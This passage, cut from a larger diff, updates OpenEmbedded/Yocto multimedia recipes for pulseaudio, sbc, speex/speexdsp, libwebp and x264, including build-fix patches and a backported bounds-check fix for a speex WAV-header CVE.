- PA_GSETTINGS_HELPER, NULL, &u->pid)) < 0)
-diff --git a/src/pulsecore/core-util.c b/src/pulsecore/core-util.c
-index 64e9f21..f85dd20 100644
---- a/src/pulsecore/core-util.c
-+++ b/src/pulsecore/core-util.c
-@@ -3436,15 +3436,17 @@ void pa_reset_personality(void) {
- }
-
- bool pa_run_from_build_tree(void) {
-- char *rp;
- static bool b = false;
-
-+#ifdef HAVE_RUNNING_FROM_BUILD_TREE
-+ char *rp;
- PA_ONCE_BEGIN {
- if ((rp = pa_readlink("/proc/self/exe"))) {
- b = pa_startswith(rp, PA_BUILDDIR);
- pa_xfree(rp);
- }
- } PA_ONCE_END;
-+#endif
-
- return b;
- }
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-meson-Check-for-__get_cpuid.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-meson-Check-for-__get_cpuid.patch
new file mode 100644
index 0000000000..c9d8abcbf2
--- /dev/null
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-meson-Check-for-__get_cpuid.patch
@@ -0,0 +1,82 @@
+From 9d0dc8aedd08d77797f90fa6075a59613f18bf0d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 20 Dec 2020 07:56:07 -0800
+Subject: [PATCH] meson: Check for __get_cpuid
+
+checking for presence of cpuid.h header alone is not sufficient in some case to use
+cpuid related functions. e.g. when using clang which is built for
+multiple targets will have cpuid.h header as part of compiler headers in
+distribution but one maybe compiling pulseaudion for non-x86 target. The
+current check in meson succeeds and then compile fails later because
+cpuid.h is x86-specific header. Therefore checking for symbol that is
+needed makes this robust, so even if header exist it will try to ensure
+the given symbol can be used
+
+Fixes
+src/pulsecore/core-util.c:113:
+| /mnt/b/yoe/master/build/tmp/work/riscv64-yoe-linux/pulseaudio/14.0-r0/recipe-sysroot-native/usr/lib/clang/11.0.1/include/cpuid.h:11:2: error: this header is for x86 only
+| #error this header is for x86 only
+| ^
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Tanu Kaskinen <tanuk@iki.fi>
+---
+ meson.build | 5 ++++-
+ src/pulsecore/core-util.c | 2 +-
+ src/pulsecore/cpu-x86.c | 2 +-
+ 3 files changed, 6 insertions(+), 3 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index 2589627..5f5127e 100644
+--- a/meson.build
++++ b/meson.build
+@@ -185,7 +185,6 @@ endif
+ check_headers = [
+ 'arpa/inet.h',
+ 'byteswap.h',
+- 'cpuid.h',
+ 'dlfcn.h',
+ 'execinfo.h',
+ 'grp.h',
+@@ -243,6 +242,10 @@ if cc.has_header_symbol('pthread.h', 'PTHREAD_PRIO_INHERIT')
+ cdata.set('HAVE_PTHREAD_PRIO_INHERIT', 1)
+ endif
+
++if cc.has_header_symbol('cpuid.h', '__get_cpuid')
++ cdata.set('HAVE_GET_CPUID', 1)
++endif
++
+ # Functions
+
+ check_functions = [
+diff --git a/src/pulsecore/core-util.c b/src/pulsecore/core-util.c
+index 601b1d1..6f34e7c 100644
+--- a/src/pulsecore/core-util.c
++++ b/src/pulsecore/core-util.c
+@@ -109,7 +109,7 @@
+ #include <sys/personality.h>
+ #endif
+
+-#ifdef HAVE_CPUID_H
++#ifdef HAVE_GET_CPUID
+ #include <cpuid.h>
+ #endif
+
+diff --git a/src/pulsecore/cpu-x86.c b/src/pulsecore/cpu-x86.c
+index 4e59e14..86595d4 100644
+--- a/src/pulsecore/cpu-x86.c
++++ b/src/pulsecore/cpu-x86.c
+@@ -24,7 +24,7 @@
+
+ #include <stdint.h>
+
+-#ifdef HAVE_CPUID_H
++#ifdef HAVE_GET_CPUID
+ #include <cpuid.h>
+ #endif
+
+--
+2.29.2
+
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
index 43add75db4..48f0492177 100644
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
@@ -13,18 +13,18 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/daemon/main.c b/src/daemon/main.c
-index c80fa94..75496be 100644
+index 30ef499..5c3abf0 100644
--- a/src/daemon/main.c
+++ b/src/daemon/main.c
-@@ -908,7 +908,7 @@ int main(int argc, char *argv[]) {
+@@ -916,7 +916,7 @@ int main(int argc, char *argv[]) {
+ pa_set_env_and_record("PULSE_SYSTEM", conf->system_instance ? "1" : "0");
pa_log_info("This is PulseAudio %s", PACKAGE_VERSION);
- pa_log_debug("Compilation host: %s", CANONICAL_HOST);
- pa_log_debug("Compilation CFLAGS: %s", PA_CFLAGS);
+ pa_log_debug("Compilation CFLAGS: ***");
#ifdef HAVE_LIBSAMPLERATE
pa_log_warn("Compiled with DEPRECATED libsamplerate support!");
--
-2.7.4
+2.25.1
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio_12.2.bb b/meta/recipes-multimedia/pulseaudio/pulseaudio_12.2.bb
deleted file mode 100644
index 88b4975a66..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio_12.2.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require pulseaudio.inc
-
-SRC_URI = "http://freedesktop.org/software/pulseaudio/releases/${BP}.tar.xz \
- file://0001-client-conf-Add-allow-autospawn-for-root.patch \
- file://0001-introduce-a-special-build-flag-to-explicitly-disable.patch \
- file://0001-alsa-Fix-inclusion-of-use-case.h.patch \
- file://0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch \
- file://volatiles.04_pulse \
- "
-SRC_URI[md5sum] = "c42f1f1465e8df9859d023dc184734bf"
-SRC_URI[sha256sum] = "809668ffc296043779c984f53461c2b3987a45b7a25eb2f0a1d11d9f23ba4055"
-
-do_compile_prepend() {
- mkdir -p ${S}/libltdl
- cp ${STAGING_LIBDIR}/libltdl* ${S}/libltdl
-}
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio_15.0.bb b/meta/recipes-multimedia/pulseaudio/pulseaudio_15.0.bb
new file mode 100644
index 0000000000..239d31810b
--- /dev/null
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio_15.0.bb
@@ -0,0 +1,11 @@
+require pulseaudio.inc
+
+SRC_URI = "http://freedesktop.org/software/pulseaudio/releases/${BP}.tar.xz \
+ file://0001-client-conf-Add-allow-autospawn-for-root.patch \
+ file://0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch \
+ file://0001-meson-Check-for-__get_cpuid.patch \
+ file://volatiles.04_pulse \
+ file://0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch \
+ "
+SRC_URI[sha256sum] = "a40b887a3ba98cc26976eb11bdb6613988f145b19024d1b6555c6a03c9cba1a0"
+UPSTREAM_CHECK_REGEX = "pulseaudio-(?P<pver>\d+(\.(?!99)\d+)+)\.tar"
diff --git a/meta/recipes-multimedia/sbc/sbc/0001-sbc_primitives-Fix-build-on-non-x86.patch b/meta/recipes-multimedia/sbc/sbc/0001-sbc_primitives-Fix-build-on-non-x86.patch
new file mode 100644
index 0000000000..11cec74fbb
--- /dev/null
+++ b/meta/recipes-multimedia/sbc/sbc/0001-sbc_primitives-Fix-build-on-non-x86.patch
@@ -0,0 +1,45 @@
+From f4a1224323e386090a44bf70ee0ac9877ba7fb0d Mon Sep 17 00:00:00 2001
+From: Marius Bakke <marius@gnu.org>
+Date: Tue, 22 Dec 2020 11:04:26 +0000
+Subject: [PATCH] sbc_primitives: Fix build on non-x86.
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Don't call __builtin_cpu_init unless targeting i386 or x86_64.
+Otherwise we get an error at link time:
+
+ CC sbc/sbc_primitives.lo
+sbc/sbc_primitives.c: In function ‘sbc_init_primitives_x86’:
+sbc/sbc_primitives.c:596:2: warning: implicit declaration of function ‘__builtin_cpu_init’; did you mean ‘__builtin_irint’? [-Wimplicit-function-declaration]
+[...]
+ CCLD src/sbcdec
+ld: sbc/.libs/libsbc-private.a(sbc_primitives.o): in function `sbc_init_primitives':
+sbc_primitives.c:(.text+0x3a30): undefined reference to `__builtin_cpu_init'
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ sbc/sbc_primitives.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/sbc/sbc_primitives.c b/sbc/sbc_primitives.c
+index 97a75be..09c214a 100644
+--- a/sbc/sbc_primitives.c
++++ b/sbc/sbc_primitives.c
+@@ -593,6 +593,7 @@ static int sbc_calc_scalefactors_j(
+
+ static void sbc_init_primitives_x86(struct sbc_encoder_state *state)
+ {
++#if defined(__x86_64__) || defined(__i386__)
+ __builtin_cpu_init();
+
+ #ifdef SBC_BUILD_WITH_MMX_SUPPORT
+@@ -604,6 +605,7 @@ static void sbc_init_primitives_x86(struct sbc_encoder_state *state)
+ if (__builtin_cpu_supports("sse4.2"))
+ sbc_init_primitives_sse(state);
+ #endif
++#endif
+ }
+
+ /*
diff --git a/meta/recipes-multimedia/sbc/sbc_1.4.bb b/meta/recipes-multimedia/sbc/sbc_1.4.bb
deleted file mode 100644
index 674d77ef48..0000000000
--- a/meta/recipes-multimedia/sbc/sbc_1.4.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "SBC Audio Codec"
-DESCRIPTION = "Bluetooth low-complexity, subband codec (SBC) library."
-HOMEPAGE = "https://www.bluez.org"
-SECTION = "libs"
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-examples = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
- file://src/sbcenc.c;beginline=1;endline=24;md5=08e7a70b127f4100ff2cd7d629147d8d \
- file://sbc/sbc.h;beginline=1;endline=26;md5=0f57d0df22b0d40746bdd29805a4361b"
-
-DEPENDS = "libsndfile1"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/${BP}.tar.xz"
-
-SRC_URI[md5sum] = "800fb0908899baa48dc216d8e156cc05"
-SRC_URI[sha256sum] = "518bf46e6bb3dc808a95e1eabad26fdebe8a099c1e781c27ed7fca6c2f4a54c9"
-
-inherit autotools pkgconfig
-
-PACKAGES =+ "${PN}-examples"
-FILES_${PN}-examples += "${bindir}/*"
diff --git a/meta/recipes-multimedia/sbc/sbc_1.5.bb b/meta/recipes-multimedia/sbc/sbc_1.5.bb
new file mode 100644
index 0000000000..e5c72ec0b4
--- /dev/null
+++ b/meta/recipes-multimedia/sbc/sbc_1.5.bb
@@ -0,0 +1,24 @@
+SUMMARY = "SBC Audio Codec"
+DESCRIPTION = "Bluetooth low-complexity, subband codec (SBC) library."
+HOMEPAGE = "https://www.bluez.org"
+SECTION = "libs"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LICENSE:${PN}-examples = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
+ file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
+ file://src/sbcenc.c;beginline=1;endline=24;md5=08e7a70b127f4100ff2cd7d629147d8d \
+ file://sbc/sbc.h;beginline=1;endline=26;md5=0f57d0df22b0d40746bdd29805a4361b"
+
+DEPENDS = "libsndfile1"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/${BP}.tar.xz \
+ file://0001-sbc_primitives-Fix-build-on-non-x86.patch \
+ "
+
+SRC_URI[sha256sum] = "0cbad69823a99e8421fe0700e8cf9eeb8fa0c1ad28e8dbc2182b3353507931d2"
+
+inherit autotools pkgconfig
+
+PACKAGES =+ "${PN}-examples"
+FILES:${PN}-examples += "${bindir}/*"
diff --git a/meta/recipes-multimedia/speex/speex/CVE-2020-23903.patch b/meta/recipes-multimedia/speex/speex/CVE-2020-23903.patch
new file mode 100644
index 0000000000..eb16e95ffc
--- /dev/null
+++ b/meta/recipes-multimedia/speex/speex/CVE-2020-23903.patch
@@ -0,0 +1,30 @@
+Backport patch to fix CVE-2020-23903.
+
+CVE: CVE-2020-23903
+Upstream-Status: Backport [https://github.com/xiph/speex/commit/870ff84]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From 870ff845b32f314aec0036641ffe18aba4916887 Mon Sep 17 00:00:00 2001
+From: Tristan Matthews <tmatth@videolan.org>
+Date: Mon, 13 Jul 2020 23:25:03 -0400
+Subject: [PATCH] wav_io: guard against invalid channel numbers
+
+Fixes #13
+---
+ src/wav_io.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/wav_io.c b/src/wav_io.c
+index b5183015..09d62eb0 100644
+--- a/src/wav_io.c
++++ b/src/wav_io.c
+@@ -111,7 +111,7 @@ int read_wav_header(FILE *file, int *rate, int *channels, int *format, spx_int32
+ stmp = le_short(stmp);
+ *channels = stmp;
+
+- if (stmp>2)
++ if (stmp>2 || stmp<1)
+ {
+ fprintf (stderr, "Only mono and (intensity) stereo supported\n");
+ return -1;
diff --git a/meta/recipes-multimedia/speex/speex_1.2.0.bb b/meta/recipes-multimedia/speex/speex_1.2.0.bb
index 3a0911d6f8..ea475f0f1b 100644
--- a/meta/recipes-multimedia/speex/speex_1.2.0.bb
+++ b/meta/recipes-multimedia/speex/speex_1.2.0.bb
@@ -7,7 +7,9 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=314649d8ba9dd7045dfb6683f298d0a8 \
file://include/speex/speex.h;beginline=1;endline=34;md5=ef8c8ea4f7198d71cf3509c6ed05ea50"
DEPENDS = "libogg speexdsp"
-SRC_URI = "http://downloads.xiph.org/releases/speex/speex-${PV}.tar.gz"
+SRC_URI = "http://downloads.xiph.org/releases/speex/speex-${PV}.tar.gz \
+ file://CVE-2020-23903.patch \
+ "
UPSTREAM_CHECK_REGEX = "speex-(?P<pver>\d+(\.\d+)+)\.tar"
SRC_URI[md5sum] = "8ab7bb2589110dfaf0ed7fa7757dc49c"
diff --git a/meta/recipes-multimedia/speex/speexdsp/0001-Don-t-rely-on-HAVE_STDINT_H-et-al.-being-defined.patch b/meta/recipes-multimedia/speex/speexdsp/0001-Don-t-rely-on-HAVE_STDINT_H-et-al.-being-defined.patch
deleted file mode 100644
index c7067daaa0..0000000000
--- a/meta/recipes-multimedia/speex/speexdsp/0001-Don-t-rely-on-HAVE_STDINT_H-et-al.-being-defined.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-From c73370ceafd138becee8ca3c688ba75756830bfe Mon Sep 17 00:00:00 2001
-From: Tanu Kaskinen <tanu.kaskinen@linux.intel.com>
-Date: Sun, 5 Jul 2015 17:48:16 +0300
-Subject: [PATCH] Don't rely on HAVE_STDINT_H et al. being defined
-
-Not everyone who includes speexdsp_config_types.h will have a test
-which defines those, and if we've chosen to use the stdint types at
-configure time then we know exactly which header(s) are available, so
-just choose the best one then and generate the header to use it.
-
-This patch, including the above text, is copied from a commit in the
-speex repository[1]. The original commit for speex was made by Ron
-<ron@debian.org>.
-
-[1] https://git.xiph.org/?p=speex.git;a=commitdiff;h=774c87d6cb7dd8dabdd17677fc6da753ecf4aa87
-
-Upstream-Status: Backport
-
-Signed-off-by: Tanu Kaskinen <tanu.kaskinen@linux.intel.com>
----
- configure.ac | 6 ++++++
- include/speex/speexdsp_config_types.h.in | 8 +-------
- 2 files changed, 7 insertions(+), 7 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 2cd2d1e..1de0c23 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -334,6 +334,12 @@ AC_SUBST([USIZE16])
- AC_SUBST([SIZE32])
- AC_SUBST([USIZE32])
-
-+AS_IF([test "$ac_cv_header_stdint_h" = "yes"], [INCLUDE_STDINT="#include <stdint.h>"],
-+ [test "$ac_cv_header_inttypes_h" = "yes"], [INCLUDE_STDINT="#include <inttypes.h>"],
-+ [test "$ac_cv_header_sys_types_h" = "yes"], [INCLUDE_STDINT="#include <sys/types.h>"])
-+
-+AC_SUBST([INCLUDE_STDINT])
-+
- AC_CONFIG_FILES([
- Makefile libspeexdsp/Makefile doc/Makefile SpeexDSP.spec
- include/Makefile include/speex/Makefile speexdsp.pc
-diff --git a/include/speex/speexdsp_config_types.h.in b/include/speex/speexdsp_config_types.h.in
-index 02b82fd..5ea7b55 100644
---- a/include/speex/speexdsp_config_types.h.in
-+++ b/include/speex/speexdsp_config_types.h.in
-@@ -1,13 +1,7 @@
- #ifndef __SPEEX_TYPES_H__
- #define __SPEEX_TYPES_H__
-
--#if defined HAVE_STDINT_H
--# include <stdint.h>
--#elif defined HAVE_INTTYPES_H
--# include <inttypes.h>
--#elif defined HAVE_SYS_TYPES_H
--# include <sys/types.h>
--#endif
-+@INCLUDE_STDINT@
-
- typedef @SIZE16@ spx_int16_t;
- typedef @USIZE16@ spx_uint16_t;
---
-1.9.3
-
diff --git a/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb b/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb
new file mode 100644
index 0000000000..bb7bc9aade
--- /dev/null
+++ b/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb
@@ -0,0 +1,27 @@
+SUMMARY = "A patent-free DSP library"
+DESCRIPTION = "SpeexDSP is a patent-free, Open Source/Free Software DSP library."
+HOMEPAGE = "http://www.speex.org"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=314649d8ba9dd7045dfb6683f298d0a8"
+
+SRC_URI = "http://downloads.xiph.org/releases/speex/speexdsp-${PV}.tar.gz"
+
+UPSTREAM_CHECK_REGEX = "speexdsp-(?P<pver>\d+(\.\d+)+)\.tar"
+
+SRC_URI[md5sum] = "b722df341576dc185d897131321008fc"
+SRC_URI[sha256sum] = "682042fc6f9bee6294ec453f470dadc26c6ff29b9c9e9ad2ffc1f4312fd64771"
+
+inherit autotools pkgconfig
+
+EXTRA_OECONF = "\
+ --disable-examples \
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--enable-fixed-point --disable-float-api', '', d)} \
+"
+
+# speexdsp was split off from speex in 1.2rc2. Older versions of speex can't
+# be installed together with speexdsp, since they contain overlapping files.
+RCONFLICTS:${PN} = "speex (< 1.2rc2)"
+RCONFLICTS:${PN}-dbg = "speex-dbg (< 1.2rc2)"
+RCONFLICTS:${PN}-dev = "speex-dev (< 1.2rc2)"
+RCONFLICTS:${PN}-staticdev = "speex-staticdev (< 1.2rc2)"
diff --git a/meta/recipes-multimedia/speex/speexdsp_1.2rc3.bb b/meta/recipes-multimedia/speex/speexdsp_1.2rc3.bb
deleted file mode 100644
index 03c949be22..0000000000
--- a/meta/recipes-multimedia/speex/speexdsp_1.2rc3.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "A patent-free DSP library"
-DESCRIPTION = "SpeexDSP is a patent-free, Open Source/Free Software DSP library."
-HOMEPAGE = "http://www.speex.org"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=314649d8ba9dd7045dfb6683f298d0a8"
-
-SRC_URI = "http://downloads.xiph.org/releases/speex/speexdsp-${PV}.tar.gz \
- file://0001-Don-t-rely-on-HAVE_STDINT_H-et-al.-being-defined.patch"
-
-SRC_URI[md5sum] = "70d9d31184f7eb761192fd1ef0b73333"
-SRC_URI[sha256sum] = "4ae688600039f5d224bdf2e222d2fbde65608447e4c2f681585e4dca6df692f1"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "\
- --disable-examples \
- ${@bb.utils.contains('TARGET_FPU', 'soft', '--enable-fixed-point --disable-float-api', '', d)} \
-"
-
-# Workaround for a build failure when building with MACHINE=qemuarm64. I think
-# aarch64 is supposed to support NEON just fine, but building for qemuarm64
-# fails in NEON code:
-#
-# .../speexdsp-1.2rc3/libspeexdsp/resample_neon.h:148:5: error: impossible constraint in 'asm'
-# asm volatile (" cmp %[len], #0\n"
-# ^
-#
-# I sent an email about the issue to speex-dev. At the time of writing there
-# are no responses yet:
-# http://thread.gmane.org/gmane.comp.audio.compression.speex.devel/7360
-EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '--disable-neon', '', d)}"
-
-# speexdsp was split off from speex in 1.2rc2. Older versions of speex can't
-# be installed together with speexdsp, since they contain overlapping files.
-RCONFLICTS_${PN} = "speex (< 1.2rc2)"
-RCONFLICTS_${PN}-dbg = "speex-dbg (< 1.2rc2)"
-RCONFLICTS_${PN}-dev = "speex-dev (< 1.2rc2)"
-RCONFLICTS_${PN}-staticdev = "speex-staticdev (< 1.2rc2)"
diff --git a/meta/recipes-multimedia/webp/libwebp_1.0.3.bb b/meta/recipes-multimedia/webp/libwebp_1.0.3.bb
deleted file mode 100644
index 5082bf0374..0000000000
--- a/meta/recipes-multimedia/webp/libwebp_1.0.3.bb
+++ /dev/null
@@ -1,56 +0,0 @@
-SUMMARY = "WebP is an image format designed for the Web"
-DESCRIPTION = "WebP is a method of lossy and lossless compression that can be \
- used on a large variety of photographic, translucent and \
- graphical images found on the web. The degree of lossy \
- compression is adjustable so a user can choose the trade-off \
- between file size and image quality. WebP typically achieves \
- an average of 30% more compression than JPEG and JPEG 2000, \
- without loss of image quality."
-HOMEPAGE = "https://developers.google.com/speed/webp/"
-SECTION = "libs"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6e8dee932c26f2dab503abf70c96d8bb \
- file://PATENTS;md5=c6926d0cb07d296f886ab6e0cc5a85b7"
-
-SRC_URI = "http://downloads.webmproject.org/releases/webp/${BP}.tar.gz"
-SRC_URI[md5sum] = "906ad85daaaa2eac97c8aa2dec9e8b77"
-SRC_URI[sha256sum] = "e20a07865c8697bba00aebccc6f54912d6bc333bb4d604e6b07491c1a226b34f"
-
-UPSTREAM_CHECK_URI = "http://downloads.webmproject.org/releases/webp/index.html"
-
-EXTRA_OECONF = " \
- --disable-wic \
- --enable-libwebpmux \
- --enable-libwebpdemux \
- --enable-threading \
-"
-
-# Do not trust configure to determine if neon is available.
-#
-EXTRA_OECONF_ARM = " \
- ${@bb.utils.contains("TUNE_FEATURES","neon","--enable-neon","--disable-neon",d)} \
-"
-EXTRA_OECONF_append_arm = " ${EXTRA_OECONF_ARM}"
-EXTRA_OECONF_append_armeb = " ${EXTRA_OECONF_ARM}"
-
-inherit autotools lib_package
-
-PACKAGECONFIG ??= ""
-
-# libwebpdecoder is a subset of libwebp, don't build it unless requested
-PACKAGECONFIG[decoder] = "--enable-libwebpdecoder,--disable-libwebpdecoder"
-
-# Apply for examples programs: cwebp and dwebp
-PACKAGECONFIG[gif] = "--enable-gif,--disable-gif,giflib"
-PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg"
-PACKAGECONFIG[png] = "--enable-png,--disable-png,,libpng"
-PACKAGECONFIG[tiff] = "--enable-tiff,--disable-tiff,tiff"
-
-# Apply only for example program vwebp
-PACKAGECONFIG[gl] = "--enable-gl,--disable-gl,mesa-glut"
-
-PACKAGES =+ "${PN}-gif2webp"
-
-DESCRIPTION_${PN}-gif2webp = "Simple tool to convert animated GIFs to WebP"
-FILES_${PN}-gif2webp = "${bindir}/gif2webp"
diff --git a/meta/recipes-multimedia/webp/libwebp_1.2.2.bb b/meta/recipes-multimedia/webp/libwebp_1.2.2.bb
new file mode 100644
index 0000000000..281cff1bf2
--- /dev/null
+++ b/meta/recipes-multimedia/webp/libwebp_1.2.2.bb
@@ -0,0 +1,55 @@
+SUMMARY = "WebP is an image format designed for the Web"
+DESCRIPTION = "WebP is a method of lossy and lossless compression that can be \
+ used on a large variety of photographic, translucent and \
+ graphical images found on the web. The degree of lossy \
+ compression is adjustable so a user can choose the trade-off \
+ between file size and image quality. WebP typically achieves \
+ an average of 30% more compression than JPEG and JPEG 2000, \
+ without loss of image quality."
+HOMEPAGE = "https://developers.google.com/speed/webp/"
+SECTION = "libs"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6e8dee932c26f2dab503abf70c96d8bb \
+ file://PATENTS;md5=c6926d0cb07d296f886ab6e0cc5a85b7"
+
+SRC_URI = "http://downloads.webmproject.org/releases/webp/${BP}.tar.gz"
+SRC_URI[sha256sum] = "7656532f837af5f4cec3ff6bafe552c044dc39bf453587bd5b77450802f4aee6"
+
+UPSTREAM_CHECK_URI = "http://downloads.webmproject.org/releases/webp/index.html"
+
+EXTRA_OECONF = " \
+ --disable-wic \
+ --enable-libwebpmux \
+ --enable-libwebpdemux \
+ --enable-threading \
+"
+
+# Do not trust configure to determine if neon is available.
+#
+EXTRA_OECONF_ARM = " \
+ ${@bb.utils.contains("TUNE_FEATURES","neon","--enable-neon","--disable-neon",d)} \
+"
+EXTRA_OECONF:append:arm = " ${EXTRA_OECONF_ARM}"
+EXTRA_OECONF:append:armeb = " ${EXTRA_OECONF_ARM}"
+
+inherit autotools lib_package
+
+PACKAGECONFIG ??= ""
+
+# libwebpdecoder is a subset of libwebp, don't build it unless requested
+PACKAGECONFIG[decoder] = "--enable-libwebpdecoder,--disable-libwebpdecoder"
+
+# Apply for examples programs: cwebp and dwebp
+PACKAGECONFIG[gif] = "--enable-gif,--disable-gif,giflib"
+PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg"
+PACKAGECONFIG[png] = "--enable-png,--disable-png,,libpng"
+PACKAGECONFIG[tiff] = "--enable-tiff,--disable-tiff,tiff"
+
+# Apply only for example program vwebp
+PACKAGECONFIG[gl] = "--enable-gl,--disable-gl,mesa-glut"
+
+PACKAGES =+ "${PN}-gif2webp"
+
+DESCRIPTION:${PN}-gif2webp = "Simple tool to convert animated GIFs to WebP"
+FILES:${PN}-gif2webp = "${bindir}/gif2webp"
diff --git a/meta/recipes-multimedia/x264/x264/Fix-X32-build-by-disabling-asm.patch b/meta/recipes-multimedia/x264/x264/Fix-X32-build-by-disabling-asm.patch
index 087a448eec..cb771fb0bf 100644
--- a/meta/recipes-multimedia/x264/x264/Fix-X32-build-by-disabling-asm.patch
+++ b/meta/recipes-multimedia/x264/x264/Fix-X32-build-by-disabling-asm.patch
@@ -1,4 +1,4 @@
-From 66b120079fb21ed38cab0900c63360b0a7853eaa Mon Sep 17 00:00:00 2001
+From 7bc25f4d1aaa5186d2eff3e2326c7245fcd7e7f3 Mon Sep 17 00:00:00 2001
From: Christopher Larson <chris_larson@mentor.com>
Date: Tue, 13 Dec 2016 14:22:32 -0700
Subject: [PATCH] Fix X32 build by disabling asm
@@ -12,15 +12,16 @@ doesn't successfully build at this time, and my assembly is very rusty.
Upstream-Status: Pending
Signed-off-by: Christopher Larson <chris_larson@mentor.com>
+
---
configure | 14 ++++++++++++--
1 file changed, 12 insertions(+), 2 deletions(-)
diff --git a/configure b/configure
-index 3109ec4..844aeae 100755
+index 51b128d..6ea9469 100755
--- a/configure
+++ b/configure
-@@ -703,7 +703,13 @@ case $host_cpu in
+@@ -754,7 +754,13 @@ case $host_cpu in
AS_EXT=".asm"
ASFLAGS="$ASFLAGS -DARCH_X86_64=1 -I\$(SRCPATH)/common/x86/"
stack_alignment=16
@@ -33,9 +34,9 @@ index 3109ec4..844aeae 100755
+ fi
+ fi
if [ "$SYS" = MACOSX ]; then
- ASFLAGS="$ASFLAGS -f macho64 -DPIC -DPREFIX"
+ ASFLAGS="$ASFLAGS -f macho64 -DPREFIX"
if cc_check '' "-arch x86_64"; then
-@@ -722,7 +728,11 @@ case $host_cpu in
+@@ -773,7 +779,11 @@ case $host_cpu in
RCFLAGS="--target=pe-x86-64 $RCFLAGS"
fi
else
@@ -48,6 +49,3 @@ index 3109ec4..844aeae 100755
fi
;;
powerpc*)
---
-2.8.0
-
diff --git a/meta/recipes-multimedia/x264/x264_git.bb b/meta/recipes-multimedia/x264/x264_git.bb
index f22930a0ee..51ae9d1179 100644
--- a/meta/recipes-multimedia/x264/x264_git.bb
+++ b/meta/recipes-multimedia/x264/x264_git.bb
@@ -2,32 +2,32 @@ SUMMARY = "H.264/MPEG-4 AVC video encoder"
DESCRIPTION = "A free software library and application for encoding video streams into the H.264/MPEG-4 AVC format."
HOMEPAGE = "http://www.videolan.org/developers/x264.html"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LICENSE_FLAGS = "commercial"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
DEPENDS = "nasm-native"
-SRC_URI = "git://github.com/mirror/x264;branch=stable \
+SRC_URI = "git://github.com/mirror/x264;branch=stable;protocol=https \
file://don-t-default-to-cortex-a9-with-neon.patch \
file://Fix-X32-build-by-disabling-asm.patch \
"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "72db437770fd1ce3961f624dd57a8e75ff65ae0b"
+SRCREV = "5db6aa6cab1b146e07b60cc1736a01f21da01154"
-PV = "r2917+git${SRCPV}"
+PV = "r3039+git${SRCPV}"
S = "${WORKDIR}/git"
inherit lib_package pkgconfig
X264_DISABLE_ASM = ""
